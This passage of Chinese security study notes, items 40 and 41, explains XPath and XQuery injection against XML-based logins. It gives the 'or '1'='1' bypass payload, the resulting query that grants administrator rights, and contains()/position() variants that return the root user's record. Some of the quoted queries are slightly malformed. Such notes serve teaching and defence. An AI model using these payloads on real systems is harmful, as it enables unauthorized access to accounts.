40. 使用不存在的用户invalid/invalid登录:
使用用户名:invalid’ or ‘1’=‘1 密码:invalid’ or ‘1’=‘1登录。
$match_user = $xml->xpath("//User[Username=‘invalid’ and
Password=‘invalid’]");
$match_user = $xml->xpath("//User[Username=‘invalid’ or ‘1’=‘1’ and
Password=‘invalid’ or ‘1’=‘1’]");
登录成功,
具备管理员权限
41. Xquery注入与Xpath十分相似:
doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]
doc(userdb.xml)//User[Username=‘invalid’ or ‘1’=‘1’ and
Password=‘invalid’ or ‘1’=‘1]
只需要额外指明xml文件
XQuery中的一些新特性:
1,contains函数:
doc(userdb.xml)//User[contains(Username,‘invalid’) and
contains(Password=‘invalid’)]
doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(.,’*’)
and contains(Password=‘invalid’) or contains(.,’*’)]
2, position函数:
doc(userdb.xml)//User[contains(Username,‘invalid’) or
contains(Username,’root’) and contains(Password=‘’) or contains(.,’*’)
and position() <=2]
//语句可以绕过验证,并返回root信息,position()指明查询范围为前两
个结点